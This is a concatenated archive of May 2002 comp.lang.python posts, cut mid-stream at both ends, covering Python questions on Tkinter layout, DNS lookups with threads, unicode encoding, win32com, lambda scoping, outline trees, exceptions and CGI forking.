atlpnn01.usenetserver.com... > "Dave Butler" <davebutlerREMOVE at hotmail.com> wrote ... > > I have a need for the current directory from a Python script to persist > > after the script ends. Is this possible? A simple approach such as > > > > -------------------- > > import os > > > > print os.getcwd() > > os.chdir(r'f:\temp') > > print os.getcwd() > > -------------------- > > > > does not work. It seems the directory change occurs in the Python process, > > but not in the command prompt which called it. > > > > I am using Python 2.1 under Windows 2000. > > > > Under Unix things are arranged so that subshells (such as the one used to > run a Python program) get their own copy of their parent shell's > environment. Thus changes are explicitly forbidden from propagating to > parent shells unless you use scripting in the parent shell (such as > > cd `python yourprog.py` > > for example, if you can arrange for your program to write the required > directory out as its only output). Under Windows things are a lot sloppier, > but not very consistent. I'd suggest you look at your requirements a little > more critically to see what laternatives there might be. > > Sorry to be less than positive. > > regards > Steve > -- > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > From DLNXPEGFQVEB at spammotel.com Fri May 10 11:55:19 2002 From: DLNXPEGFQVEB at spammotel.com (Christos Georgiou) Date: Fri, 10 May 2002 18:55:19 +0300 Subject: Is there such a beast as a "perfect" shuffle? :) Message-ID: <mhqndus5c2bd3j4khn4d4qua9vno4omdqu@4ax.com> I needed a function that, given a sequence and a number, would produce the <number>th permutation of the sequence. I thought I once saw such a function, but using google (web and groups) couldn't find it, so I wrote one of my own (it's at the ASPN cookbook site: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/126037 ) Basically, this was because I was aiming for a "perfect" shuffle of a deck of 52 cards, so I wanted to reduce the "randomness" factor to only one number. My thoughts are that, if I can build a large enough number, a la: (random.randint(0, sys.maxint)*(sys.maxint+1) + \ random.randint(0, sys.maxint) )*(sys.maxint+1) etc... which optimistically would max beyond n! (perhaps (n+2)!), the number would be a good candidate for a "truly" random shuffle, since the function actually uses the (index mod n!) permutation. Apart from that, which is just a naive approach, any hints / clues for building good, uniform random numbers in the range 52! ? Thanks in advance, -- TZOTZIOY, I speak England very best, Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64') From brueckd at tbye.com Thu May 9 13:39:04 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Thu, 9 May 2002 10:39:04 -0700 (PDT) Subject: Python Enterprise Objects In-Reply-To: <23891c90.0205090751.5f4f40a9@posting.google.com> Message-ID: <Pine.LNX.4.44.0205091037240.7822-100000@ns0.tbye.com> On 9 May 2002, Paul Boddie wrote: > J2EE is so many things, but I'll try and summarise them instead of > pointing you back to the Sun J2EE site, which is almost as > badly-designed as Sun's other sites. [snip J2EE summary] Bless you! Finally, a non-hype answer that we can get our minds around. > At some point, I'll work on and upload the Python vs. J2EE comparison > document I was writing. Please do! -Dave From chris.myers at ingenta.com Thu May 9 10:29:52 2002 From: chris.myers at ingenta.com (Christopher Myers) Date: Thu, 09 May 2002 10:29:52 -0400 Subject: How to get class's name on runtime? References: <mailman.1020932414.622.python-list@python.org> Message-ID: <3CDA87E0.A9A9737D@ingenta.com> Since I didn't get a reply to my original post, and this thread looks promising, I thought I'd repost (begging forgiveness of those who were already bored, baffled or confused at my original post). It seems my problem may be related to this issue, but I'd appreciate a little expert opinion. TIA. Christopher Myers wrote: > > Anyone know how I can get a reference to an anonymous widget created on > the fly? > > Background: > I created a Date-selector widget which is a Pmw dialog with a calendar. > The calendar is created on the fly, using Tkinter Buttons, and as such, > they are not named widgets -- just buttons placed properly in the > interior of the dialog using the Grid geometry manager and the Python > calendar module for which date goes where. I suppose I could create an > array of Buttons as use their array index as the name/reference, but I'd > like to avoid that if it's possible. > > I want the dialog to return the label on the button pressed, so I can > use that as the date value. > > (Note: > Is there any type of calendar widget already written? I poked around a > bit and couldn't find one, then figured it was pretty easy to write my > own.) > > Code snip: > > # Calendar selection dialog > self.calendarSelectDialog = Pmw.Dialog(master, > title = 'Select Date', > buttons = ('OK', 'Cancel'), > defaultbutton = 'OK',) > #-------> no command yet . . . #command=self.execCalDialog) > > # Pack my calendar widget into the dialog's interior > self.myCalFrame = Frame(self.calendarSelectDialog.interior()) > self.myCalFrame.pack() > > # Build the calendar > # 8 rows, 7 cols grid. row0 is "Month, Year" > # row1 is Day of Week headings > # Calendar title, and arrow buttons > self.calTitle = StringVar() > self.getDate() # Fills fields self.y, self.m, self.d > > self.calTitle.set("%s %i" %(calendar.month_name[self.m], > self.y)) > self.calLabel = Label(self.myCalFrame, > textvariable=self.calTitle) > self.calLabel.grid(row=0, column=2, columnspan=3) > self.leftArrow = > PhotoImage(file="/home/chris/moon/arrow_left.gif") > self.rightArrow = > PhotoImage(file="/home/chris/moon/arrow_right.gif") > self.calBtnLeft = Button(self.myCalFrame, > image=self.leftArrow, > command=self.sub_month) > self.calBtnLeft.grid(row=0, column=1) > self.calBtnRight = Button(self.myCalFrame, > image=self.rightArrow, > command=self.add_month) > self.calBtnRight.grid(row=0, column=5) > > # Day column Headings > col_cnt=0 > for name in calendar.day_name: > day_abbrev = name[:2] > Label(self.myCalFrame, > text=day_abbrev).grid(row=1, column=col_cnt) > col_cnt=col_cnt+1 > > # Buttons for actual days. > mc = calendar.monthcalendar(self.y, self.m) > for i in range(len(mc)): > for j in range(7): > num = mc[i][j] > if num == 0: > state="disabled" > n = "" > else: > state="normal" > n = `num` > Button(self.myCalFrame, text=n, width=2, state=state, > # -----------> command=self.red_day).grid(row=i+2, column=j) > # > # self.red_day is supposed to turn the day red > # then the user clicks OK. Optimally, I'd like the button's command > # to return the day selected and close the dialog. > # Andrew McNamara wrote: > > >How can I get class-instances name at runtime? > > > >I have tried to use __name__ method, but that does not exist... > > Is this what you want: "self.__class__.__name__"? > > -- > Andrew McNamara, Senior Developer, Object Craft > http://www.object-craft.com.au/ -- Christopher Myers, Graduate Software Developer Ingenta, Inc. 12 Bassett St. Providence, RI 02903 ph: 401.331.2014 x 102 em: chris.myers at ingenta.com aim: chrismyers001 From andrew.henshaw at mail.com Sat May 25 01:02:30 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Sat, 25 May 2002 01:02:30 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: <B90D45DB.A63E%pereira@cis.upenn.edu> <ueji35ihipuee3@corp.supernews.com> <B9102353.A917%pereira@cis.upenn.edu> <uerd0l9d54dac9@corp.supernews.com> <B913CCBE.ACF4%pereira@cis.upenn.edu> Message-ID: <ueu6nqcanecp44@corp.supernews.com> Fernando Pereira wrote: > On 5/23/02 11:31 PM, in article uerd0l9d54dac9 at corp.supernews.com, "Andrew > Henshaw" <andrew.henshaw at mail.com> wrote: > >> Fernando Pereira wrote: >>> I can't find my CSP book, but from memory I don't think this is correct. >>> Through || (PAR), it is possible for several concurrent processes to >>> attempt to read or to write on the same channel. Then the channel >>> implementation needs a queue to hold all the blocked processes until a >>> complementary event occurs, at which point one of the pending requests >>> is matched to the event and the blocked process becomes runable. >> >> I believe that my statement was correct. From a 1985 version of >> Communicating Sequential Processes (p. 134): >> >> "We shall observe the convention that channels are used for communication >> in only one direction and between only two processes. A channel which is >> used only for output by a process will be called an output channel of >> that >> process; and one used only for input will be called an input channel. In >> both cases, we shall say loosely that the channel name is a member of the >> alphabet of the process." > > As I said, I can't find my copy of the book. But this restriction is a > *convention* only. The language syntax does not impose that restriction, > nor does the semantics AFAIK. > > -- F CSP is a systematic collection of algebraic laws. Thus, when the formulator states "we **shall** observe the convention that channels are used ... between only two processes" (emphasis mine), then that is how it is defined. Another wording later in the book eliminates the use of the word "convention" and refers to "...the restriction that a channel is between two processes only...." Perhaps you could find a statement that contradicts this. I cannot find anything that even hints at such a use as you describe. Certainly, as I demonstrated with the Occam examples, you can build higher-level constructs that achieve the effect; but, the channel primitive itself does not have that characteristic. Andy Henshaw From shagshag13 at yahoo.fr Mon May 13 10:56:25 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 13 May 2002 07:56:25 -0700 Subject: little question References: <Xns920A77107BBCCscorrigerwanadoofr@193.252.19.141> <4aNC8.26326$CN3.810152@news2.tin.it> <LGNC8.43060$v32.3185818@news1.west.cox.net> Message-ID: <409a56e2.0205130656.642acf89@posting.google.com> > > "Inverted index" is an older term for a file with a list of words in a > document and their offset into the document. Exactly what you implemented > with a dictionary, but normally implemented with a btree type index because > full-text searching often needs things like stemming and wildcards (e.g. > "tax*" getting hits on tax, taxes, taxation, ...) The term "inverted index" > has historical roots in bibliographic indexing and hasn't really had any > consistent meaning in the database world. Yes, that is what i mean by "inverted index", "inverted file"... "An index into a set of texts of the words in the texts. The index is accessed by some search method. Each index entry gives the word and a list of texts, possibly with locations within the text, where the word occurs" from here http://www.nist.gov/dads/HTML/invertedIndex.html, there is also an example... > As for Mr. shagshag, I think this link has what you're looking for :) > http://gnosis.cx/publish/programming/charming_python_15.txt Thanks, i'll go and check, S13. From ajeru at vknn.org Wed May 8 15:17:54 2002 From: ajeru at vknn.org (Alexander Jerusalem) Date: 8 May 2002 12:17:54 -0700 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <mailman.1020695950.14919.python-list@python.org> <3CD7150E.E7D3DC76@engcorp.com> Message-ID: <24c39b2c.0205081117.50db4bb5@posting.google.com> I think lines of code or compressed source file size are both equally bad at showing the complexity or readability of a langage. If one language has a library for some task, you can achieve in one line in that language what needs several thousand lines in another. But even if you only measure the lines of code (or compressed size) of some basic algorithm, it just doesn't mean anything. We all know the infamous program in a line contests. That's probably what the compressed file size measure intends to prevent but consider this: In C++, when you want to call a method on an object, you have decide if you use the . or -> operator. obj.myMethod(); obj->myMethod(); There's no real difference in file size or lines of code but you have to think and mybe search the code a lot more (Yes I know naming conventions make this a lot better). Or consider memory management. It's not that one line more that matters: delete obj; It's the many hours you spend debugging your code if it has a memory leak. It's the thinking and code browsing to find out if you need to delete that object or not. As to Perl: I don't use it because I'd have to remember too many things. It's like VisualBasic which I think is one of the hardest languages to learn and use. Both require you to remember lots of special ways to do things that are in fact very similar. But that's not a question of lines of code or file size. Imagine a language that has a rule that has two ways of calling a method: myMethod(obj) obj.myMethod() But then the rule would add that you have to use the first variant if the objects class inherits X, Y or Z and the second variant if it inherits P, Q or R. That'd just be silly and it would add complexity but there wouldn't be any difference in line or file size. I'm not very happy with some ideas of object orientation for the same reason. At times it adds complexity and strange rules that obscure things. If you want to add a method to a class that you haven't written yourself you can do that by inheriting from that class and add the method. But if you are not in a position to control the creation of the object, i.e you get the object from a library method, you either have to wrap the object in another object, which obscures the code as everyone can see with the Java or C++ io stream libraries or you have to pass the object as a parameter to another method which adds complexity because it is different from how you call other methods that manipulate the same object. For example if I want to add a htmlEncode method to the Java String class: This is how I call a library method: String s = ... s = s.toLowerCase(); And this is how I would have to call my own string utilities: String s = ... MyStringClass ms = new MyStringClass(s); ms = ms.htmlEncode(); or String s = ... s = MyStringUtils.htmlEncode(s); In a non object oriented language there's no difference between functions that come with the library and functions that you add: s = ... s = toLowerCase(s) s = htmlEncode(s) What OO does is to make one (the first) parameter special. The class of that parameter will be searched to find the method that should actually be called. The first parameter isn't passed in as all the other parameters. Why? That just adds complexity. If you have a method that manipulates the state of more than one object, you have have to guess what class this method belongs to. Consider the a transation that sells a house: class House ... class Agent ... class Buyer ... Is it house.sell(agent, buyer) or agent.sell(house, buyer) or buyer.buy(house, agent) ? Where you put that method depends on where you expect other subclasses, that is where you expect change in the problem domain. But what if you expect change in all three respects? Of course a seasoned OO designer would come up with some distribution sheme comprising many methods in all of these classes that call each other. But I would prefer: sellHouse(house, buyer, agent) And the language should dispatch this call to the right method considering the types of all the parameters (multiple dispatch) Another example where readability actually grows with code size: <property address="1 some street ..." pricePerSquareMeter="100" squareMeters="100" /> That's a lot more readable than: p = Property("1 some street ...", 100, 100) In the first example you know what the numbers mean, in the second example that's obscure (yes I like Pythons named parameters). Regards From deckerben at freenet.de Sun May 5 08:21:19 2002 From: deckerben at freenet.de (deckerben) Date: Sun, 5 May 2002 14:21:19 +0200 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <BD941D227409D0F6.25DF90CA09BB9D7B.2C0A6B9E492E5916@lp.airnews.net> Message-ID: <3cd527df$0$12731$9b622d9e@news.freenet.de> >As part of my experimentation, I ported the Python source (2.5 and 2.0.1) to >DOS using DJGPP. Why do I keep saying 2.5? Python's latest is 2.2.1. Sorry. From stephen at theboulets.net Sun May 19 00:32:47 2002 From: stephen at theboulets.net (Stephen Boulet) Date: Sat, 18 May 2002 23:32:47 -0500 Subject: Python C API version mismatch with readline Message-ID: <ueeal1mhbro0a6@corp.supernews.com> I just compiled the latest source RPMs of readline and then python. Both seemed to go well, but I get this when I launch python: $ python Python 2.2.1 (#1, May 18 2002, 22:46:46) [GCC 2.96 20000731 (Mandrake Linux 8.2 2.96-0.76mdk)] on linux-i386 Type "help", "copyright", "credits" or "license" for more information. warning: Python C API version mismatch for module strop: This Python has API version 1011, module strop has version 1010. sys:1: RuntimeWarning: Python C API version mismatch for module readline: This Python has API version 1011, module readline has version 1010. Is this a problem and how can I solve it? Thanks. -- Stephen From brueckd at tbye.com Fri May 3 13:43:35 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Fri, 3 May 2002 10:43:35 -0700 (PDT) Subject: high volume/speed gethostbyaddr how? In-Reply-To: <MPG.173cd683518e5dec989681@newszilla.xs4all.nl> Message-ID: <Pine.LNX.4.44.0205031034110.23893-100000@ns0.tbye.com> On Fri, 3 May 2002, Dan Polak wrote: > Gethostbyaddr blocks by default, this means that there is an appreciable > delay before it returns. > If you need to lookup a fair number of hostnames gethostbyaddr is much > too slow. > Using select or the asyncore library might be the way to do it, but I > don't really understand how to make that work. > What is a good way to retrieve the names for a 100 hosts within a few > seconds? Well, it really depends on what the true bottleneck is, but an easy solution would be something like: import threading, socket ipList = [... create a list of IP addresses ...] ipAndHostList = [] def LookupThread(): while 1: try: ip = ipList.pop() ipAndHostList.append((ip, socket.gethostbyaddr(ip)[0])) except IndexError: break for i in range(3): threading.Thread(target=LookupThread).start() If this provides appreciable speedup, vary the number of threads. -Dave From gkrohn_NG_ at volucris.8m.com Sat May 18 03:29:58 2002 From: gkrohn_NG_ at volucris.8m.com (Greg Krohn) Date: Sat, 18 May 2002 02:29:58 -0500 Subject: Two Tkinter questions References: <MKhF8.27549$AU.39360@sccrnsc02> Message-ID: <ac4vdi028jh@enews1.newsguy.com> "Mike Callahan" <mcalla at insightbb.com> wrote in message news:MKhF8.27549$AU.39360 at sccrnsc02... > Question #1 > > I want a text widget to completely fill its space. I can do this in tkinter > using the pack geometery manager: > text.pack(fill='both', expand=1) > If I resize the window, the the text widget continues to fill the window, > however if I use grid: > text.grid(sticky='nsew') > the text widget stays the same size if I make the window larger. Can't grid > do the same thing that pack can do? You need to specify your widget's parent's weight for column and row. Use parent.columnconfigure(column, weight), etc. from Tkinter import * parent = Tk() Text(parent).grid(sticky='news') #these two lines parent.rowconfigure(0, weight=1) parent.columnconfigure(0, weight=1) root.mainloop() You can change the weights around to achieve relative resizing (one widget resizes twice as 'fast' as another). I have never had a reason to do that, though. greg From michael.m.ebert at daimlerchrysler.com Fri May 24 03:20:25 2002 From: michael.m.ebert at daimlerchrysler.com (Michael Ebert) Date: 24 May 2002 00:20:25 -0700 Subject: build on HP 11 (linking), tkinter modul Message-ID: <14b92abf.0205232320.85d9350@posting.google.com> Hello, I have a problem to build Python 2.2.1 on HP UX 11.0. Here is the error message from make: --------------------------------------------------------------- ... ld -b build/temp.hp-ux-B.11.00-9000/785-2.2/_tkinter.o build/temp.hp-ux-B.11.00-9000/785-2.2/tkappinit.o -L/usr/X11/lib -L/usr/local/lib -ltk8.3 -ltcl8.3 -lX11 -o build/lib.hp-ux-B.11.00-9000/785-2.2/_tkinter.sl sh[3]: 9954 Memory fault(coredump) *** Error exit code 139 Stop. --------------------------------------------------------------- It seems to be a tkinter problem. tk8.3 and tcl8.3 are installed. I there a possibility to skip the tkinter modul, I don't need it necessarily. Many thanks for any help. michael From xx at xx.com Wed May 15 03:04:01 2002 From: xx at xx.com (xx) Date: Wed, 15 May 2002 09:04:01 +0200 Subject: win32com, access of 2-dimensional Property References: <3CE12BB1.50FF6851@ipm.fhg.de> <3CE1AD11.7040101@skippinet.com.au> Message-ID: <3CE20861.7B862309@xx.com> Thank you, Mark. I solved the problem, I was so excited yesterday about my 30 minutes trail running the ActiveX interface from python program (2 days work) and replace the 3-year work ( M$ Visual C++) of my colleagues, that I forgot my basics :-))) The solution is: data = cam.Image[100][100] Markus Mark Hammond schrieb: > Markus von Ehr wrote: > > Hi, > > > > I use an ActiveX Interface for an Apogee camera. > > The code works, the only problem I have is to > > retrieve the Image data which is a twodimensional > > ReadOnly Property of Data Type Variant. > > Does Anybody know how to access these types? > > This doesnt work: cam.Image(100, 100), cam.Image("100", "100") > > neither cam.Image[100, 100] > > You should run makepy over the type library for the object, and have a > look. You may find that you need to do something like: > > data = cam.Image.Value > # data is now a tuple of tuple representing the data > > or maybe something like: > data = cam.Image.Item(100,100) > > etc. > > Mark. From brueckd at tbye.com Fri May 3 13:48:18 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Fri, 3 May 2002 10:48:18 -0700 (PDT) Subject: high volume/speed gethostbyaddr how? In-Reply-To: <Pine.LNX.4.44.0205031034110.23893-100000@ns0.tbye.com> Message-ID: <Pine.LNX.4.44.0205031047350.23893-100000@ns0.tbye.com> On Fri, 3 May 2002 brueckd at tbye.com wrote: > import threading, socket > ipList = [... create a list of IP addresses ...] > ipAndHostList = [] > > def LookupThread(): > while 1: > try: > ip = ipList.pop() > ipAndHostList.append((ip, socket.gethostbyaddr(ip)[0])) > except IndexError: > break > > for i in range(3): > threading.Thread(target=LookupThread).start() Oops, also add: import time while ipList: time.sleep(0.1) :-) From frr at easyjob.net Sun May 26 16:14:31 2002 From: frr at easyjob.net (Fernando Rodríguez) Date: Sun, 26 May 2002 22:14:31 +0200 Subject: Google API and Python Message-ID: <7gg2fu8p9s87ls0071rdgeiijo0dr8ol3v@4ax.com> Where can I find some examples f using the google api with Python? O:-) ----------------------- Fernando Rodriguez From fperez528 at yahoo.com Tue May 14 20:30:15 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 14 May 2002 18:30:15 -0600 Subject: Multi-precision packages: gmpy vs mxNumber Message-ID: <absabp$qj4$1@peabody.colorado.edu> Do any of the experts have any advice on the pros and cons of these two GMP wrappers? They both seem spotty in documentation and both appear stalled in current development. URLS: http://gmpy.sourceforge.net/ http://www.egenix.com/files/python/mxNumber.html I'd like to go with the better of the two but would rather not dive into extensive testing/comparison if someone knows of a definitive answer off hand. Thanks, f. From see at below Mon May 6 01:11:33 2002 From: see at below (Paul Foley) Date: 06 May 2002 17:11:33 +1200 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> <vgeA8.40079$8D3.1169254@news1.tin.it> <aas5uv$v1e$0@216.39.172.122> <JShA8.40793$8D3.1193018@news1.tin.it> <ab1sf9$mt8$0@216.39.172.122> <J45B8.5411$CN3.205220@news2.tin.it> Message-ID: <m27kmhvp16.fsf@mycroft.actrix.gen.nz> On Sun, 05 May 2002 07:22:17 GMT, Alex Martelli wrote: > Bengt Richter wrote: >> On Thu, 02 May 2002 21:05:45 GMT, Alex Martelli <aleax at aleax.it> wrote: >>> >>> I can't argue that lambda lets you do anything substantial that def >>> doesn't -- there would be just no basis to substain such an argument. >>> I'm curious to see what you think there might be. >>> >> I'm working on it ;-) "Substantial" does present an added hurdle ;-) > I originally thought this kind of situation might count as 'substantial': > funs = [ (lambda : x) for x in seq ] I'd expect that to return a list of as many functions as there are items in seq, that all return the last value in seq. I.e., if seq is [1, 2, 3, 4, 5], you'd get 5 functions that all return 5, not functions that return 1, 2, 3, 4, and 5 respectively, as I think you're expecting (and the second version, with the "funize" function, does work that way) [The usual binding-vs-assignment misunderstanding that I keep trying to explain to people who say Python's assignment is really "binding"] -- Nonono, while we're making wild conjectures about the behavior of completely irrelevant tasks, we must not also make serious mistakes, or the data might suddenly become statistically valid. -- Erik Naggum (setq reply-to (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>")) From wweexxsseessssaa at telusplanet.net Sun May 19 07:54:27 2002 From: wweexxsseessssaa at telusplanet.net (John Hall) Date: Sun, 19 May 2002 11:54:27 GMT Subject: Ruby for Newbie?! References: <ac3maf$81p$2@hfc.pacific.net.hk> Message-ID: <ih4feu4th6g2dle10qmsv3np7p7n8s7b24@4ax.com> On 17 May 2002 19:39:59 GMT, Scrumpy <reply at in_newsgroup.tks> wrote: >... >3/ GUI toolkits/libraries. My preference is towards using wxWindows. >Python: wxPython, PyQt, PyGTK. PythonCard belongs in here also. -- John W Hall <wweexxsseessssaa at telusplanet.net> Calgary, Alberta, Canada. "Helping People Prosper in the Information Age" From starx at pacbell.net Thu May 9 00:41:27 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 9 May 2002 04:41:27 GMT Subject: Comments References: <mailman.1020875534.17637.python-list@python.org> <Xns92087A57CBCBERASXnewsDFE1@130.133.1.4> <m33cx24dfx.fsf@hamster.pflaesterer.de> <abcdka$o8s$1@peabody.colorado.edu> Message-ID: <Xns9208DCD147BDARASXnewsDFE1@130.133.1.4> Fernando P?rez || Wed 08 May 2002 04:47:55p: > Karl Pfl?sterer wrote: > >>> ... Is there a way to make emacs ignore lines that wouldn't be >>> considered comments by the language when wrapping? >> >> I changed the value of `paragraph-start'. I did it like this: >> >> (add-hook 'python-mode-hook >> (lambda () >> (setq paragraph-start "[ \t\n\f#]"))) >> >> "[ \t\n\f]" is the default for this variable. >> >> bye >> KP >> > > THANK YOU!!!!!! > > I'd been hating life on this little thing for a long time (well, never > intensely enough to really bother looking for a solution ;). > > I've used emacs for years, but I've just never bothered to learn > enough on how to configure it to solve the few little quirks it still > has for my taste. > > But this one was a fairly nagging one for me, so I _greatly_ > appreciate your solution (I'm glad I stumled on this thread!) *Was going to say pretty much the same thing, but was at school when the chance would have presented itself* Now I just have to remeber WTF to put it in my emacs stuff ... last time I looked my config scripts were in about 8 different files... -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From peter at engcorp.com Mon May 6 01:28:50 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 01:28:50 -0400 Subject: <type 'unicode'> References: <DboB8.2215$Uo5.109959@newsread2.prod.itd.earthlink.net> Message-ID: <3CD61492.BD6F207C@engcorp.com> Billy Ng wrote: > > Hi folks, > > I notice the node.getAttribute() returns the unicode type string. How can I > cast it to string type? >>> u = u'string' >>> dir(u) [..., 'count', 'encode', 'endswith', ... ] >>> u.encode('iso-8859-1') 'string' >>> u.encode('latin-1') 'string' >>> u.encode('utf-8') 'string' >>> 'string'.decode('utf-8') u'string' The specific encoding you use is up to you. If the attribute contains only ASCII characters (ordinal value less than 128), any of the above should do. -Peter From aleax at aleax.it Thu May 2 09:52:38 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 2 May 2002 15:52:38 +0200 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <3CD13E39.F01FABC0@cascade-sys.com> References: <200204301620.00255.bhan@andrew.cmu.edu> <k18A8.38495$8D3.1134538@news1.tin.it> <3CD13E39.F01FABC0@cascade-sys.com> Message-ID: <E173H0i-00058q-00@mail.python.org> On Thursday 02 May 2002 03:25 pm, James J. Besemer wrote: ... > > >> Since seq.index(max(seq)) is most concise, fastest, and quite clear, > > > > Functional Programming is indeed an elegant paradigm, but it's not the > > one being used here -- no higher-order functions, etc. Or maybe you > > mean something else by FP (Floating Point? naah...). > > EEEEKKKK!!!! SARCASM!!!! RUN AWAY!! RUN AWAY!! ;o) > > Seriously, I respectfully and humbly beg to differ... > > (a) I thought I was using the term consistently with others in posts > earlier, when we were talking about map() and filter(). Those ARE higher-order functions, you know. > (b) To me FP fundamentally is actually little more than tending towards > expressions instead of statements. And this is consistent with the > comp.lang.FP Faq > > (http://www.cs.nott.ac.uk/~gmh//faq.html) > > Typically for it to be FP the operands are not scalars but vectors or more Ah, APL, the ultimate functional programming language! Sorry, but that FAQ's response seems rather inapplicable to me here. Just because you're calling an ordinary function or two (even on vectors) doesn't mean your overall style "emphasizes the evaluation of expressions, rather than the execution of commands". Were I do define FP, I'd focus on 'immutable data' (or 'single assignment' as being roughly equivalent). Thus ruling APL out because, while STRONGLY expression-oriented (and vector, too!), its typical expressions most often include the <- (leftarrow) operator which, surprise surprise, assigns data. > complex objects that may be thought to "flow" from one operator to the > next. Higher order functions are included in the broader topic but they're > not necessary to perform basic FP tasks. You may choose to define "basic FP tasks" as being those which require neither data mutation or name rebinding, nor higher-order functions. Not a very large set, to be sure, but still it would apply to e.g. all pure string manipulations in Python -- still, IMHO, too wide a set for usefully sharp definition. Alex From dkuhlman at rexx.com Mon May 13 16:08:16 2002 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Mon, 13 May 2002 13:08:16 -0700 Subject: Best way to represent an outline? References: <3CDA8185.8080305@lindbergs.org> <mailman.1021210943.15391.python-list@python.org> Message-ID: <abp6ci$k9fio$1@ID-139865.news.dfncis.de> holger krekel wrote: > VanL wrote: >> Hello, >> >> I'm trying to figure out the best way to represent an >> outline, but I'm not sure what to use for each node: > > could you give an example/definition what you mean > by 'outline'? > > holger I'm going to guess a bit about what you mean by an outline. An outline is a proper tree, i.e. a set of nodes, each of which has some content, possibly some attributes, and a set of (possibly empty) children. Every note has exactly one parent node except of one (special) node, the root node. So, one thing to notice is that every XML document satisfies this definition. (And, *no*, I do *not* think that every problem cries out for an XML solution. 2%, possibly more, of the world's problems can be solved in some other, admittedly less attractive, way.) Therefore, (#1) you might try encoding a sample outline as an XML document, then read it in using PyXML and minidom, then do your processing on the minidom tree. Or, (#2) you might read the XML document document into minidom, then walk that tree and create a tree of nodes, where each node is defined by a Python class. Here is a sample class definition to get you started: # =========================================== class Node: def __init__(self, label='', text='', children=None): self.label = label self.text = text if children is None: self.children = [] else: self.children = children def show(self, outfile, level): self.showLevel(outfile, level) outfile.write('%s. %s\n' % (self.label, self.text)) for child in self.children: child.show(outfile, level + 1) def showLevel(self, outfile, level): for idx in range(level): outfile.write(' ') # =========================================== And (#3), if you describe your XML representation of an outline in XML Schema, then I have a Python script that will generate the code that represents the classes and will parse the XML representation and create the tree structure of instances of those classes. You can find generateDS.py along with an outline example at my Web site (http://www.rexx.com/~dkuhlman/#generateDS). You will have to install PyXML in order to use it. Note, that XML is only one way to represent an outline/tree in text. Using XML has the advantage that there are parsers available and so part of you work has been done for you. If we were Lisp people, we'd use S-expressions and lots of parentheses. (Argh! I knew I should not have said "Lisp". Now, we've started another "Re: Is Python better than X, Was: ..."-war.) - Dave -- Dave Kuhlman dkuhlman at rexx.com http://www.rexx.com/~dkuhlman From dalke at dalkescientific.com Fri May 10 11:02:57 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 10 May 2002 09:02:57 -0600 Subject: What Exceptions are there? (was: "a better input") References: <aaiu6e$pfr$1@bob.news.rcn.net> <080520021314438230%alexis.layton@post.harvard.edu> <AroC8.39639$zW3.427130@news1.tin.it> <lklmatvdfn.fsf@pc150.maths.bris.ac.uk> <1_tC8.40668$zW3.442583@news1.tin.it> <abe9us$kn5$1@slb6.atl.mindspring.net> <100520021023459171%pecora@anvil.nrl.navy.mil> Message-ID: <abgnjd$o8v$1@nntp9.atl.mindspring.net> Louis M. Pecora: >Ok, you knew there was an exception of that type (ValueError), but is >there a way to get a list of exceptions in a Python module or in the >main Python core? There are probably zillions. No? How does one know >what exceptions exist, i.e. what the programmer was thinking at the >time? I believe you are asking for some way to find which exceptions can be raised by a function. No, there isn't a way in Python. Consider def add(a, b): return a+b class MyA: def __add__(self, other): raise MemoryError add(MyA(), 8) An analysis of 'add' alone wouldn't suggest that it could throw a MemoryError, because it needs to know about 'a' and 'b' before it knows that. Languages like Java have an explicit, required declaration of the (non-standard exceptions) that are thrown. As I recall (it's been years since I looked at Java), it's even a compilation error if there's a possibility that an undeclared exception is used. Python has no support for this. But I also recall not liking Java's approach because it makes callbacks harder to work with. Eg, suppose you have a numeric integrator for the function 'f', in this case between 0 and 100 area = integrate(f, 0, 100) Now I want to replace 'f' with an RPC call that does the calculations on a much faster machine (or one that has the appropriate software license.) area = integrate(RPC(service = "calcf", machine = "remote.hostname"), 0, 100) The RPC call can fail because of network problems. But those network exceptions aren't declared in 'integrate's prototype, if there were one. So I think either the exception is mapped to a generic exception in Java (akin to "unsupported exception thrown") or you need to write an adapter to filter out the new exceptions. Never did find anyone who could tell me the proper Java way to solve this problem... Andrew dalke at dalkescientific.com From cliechti at gmx.net Fri May 31 17:10:47 2002 From: cliechti at gmx.net (Chris Liechti) Date: 31 May 2002 23:10:47 +0200 Subject: Forking problem References: <79b54d28.0205311242.107dc392@posting.google.com> Message-ID: <Xns921FEC2972195cliechtigmxnet@62.2.16.82> chouster at uclink4.berkeley.edu (Chris) wrote in news:79b54d28.0205311242.107dc392 at posting.google.com: > ... When I do it > manually the temp file appears, but when I do it from the program, no > temp file appears yet there are no complaints that anything has gone > wrong. I'm CONFUSED!! So please help me a) determine why it seemingly > doesnt execute my program and b) given that (a) is fixed, why no > printing occurs to my webpage even though I program my CGI script such > that it prints the processes output stream to my webpage. Thanks! are you sure that your external program is found? e.g. maybe the PATH environment is not set and you programm is not found. try an absolute path and insert an echo e.g. "/usr/local/bin/mycmd&&echo OK >/var/log/mylog" (make sure that you create the logfile before running and change the permissions so that the webserver can write to it. "&&" ensures that OK is only written when the mycmd exited successfully) the webserver runs as different user (e.g. www-data) does this user has the needed rights/permissions to load the file, create temps etc? chris -- Chris <cliechti at gmx.net> From jb at cascade-sys.com 